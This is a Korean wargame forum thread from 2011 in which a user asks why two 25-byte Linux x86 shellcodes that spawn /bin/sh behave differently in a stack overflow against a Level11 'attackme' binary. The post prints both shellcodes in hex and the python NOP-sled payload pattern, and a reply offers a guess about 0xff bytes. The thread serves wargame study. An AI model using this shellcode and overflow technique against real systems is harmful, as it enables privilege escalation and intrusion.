레벨 해킹

 2839, 1/142 회원가입  로그인  
   incaro
   [문제 Level11]어떤쉘코드는되고 어떤건 안되고... 햇갈리네요..

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=3208 [복사]


________________________________________________________________________________________________________
A="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
________________________________________________________________________________________________________
B="\x5b\x31\xc0\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\xe8\xee\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
________________________________________________________________________________________________________

둘다 환경변수에 올려놓코 ./attackme $RET 하면 둘다 shell이 떨어짐니다.

근데 직접 쉘에 $(python -c 'print <NOP>*200 + <쉘코드> + <NOP>*43 + <RET>) 하면
A는 되고 B는 안되는데요. 이유가 궁금하네요...

A는 인터넷에 떠도는 25byte 쉘코드구요...
B는 여기 자료 찾아서 직접 만들어본 25byte 쉘코드 입니다.

아무래도 쉘코드에 문제가 있는듯한데...

환경변수에 올리면 떨어지고 직접 쉘에 RET주소 쓰면 안되고..이유가 궁금하네요...





  Hit : 3859     Date : 2011/05/16 01:19



    
/x7375696e6567 ff 떄문에 그러지않을까요
어디서 ff는 null과 같이 취급한다고 들은거같은데..
2011/05/16  
incaro 음 먼저 답변 감사드려요...
근데 환경변수에는 되는데 스택에 올리면 안되는 이유가 몰까요..
모 차차 쉘코드공부하면서 알게 되기를 바랄뿐이에요 ㅎㅎ;
2011/05/17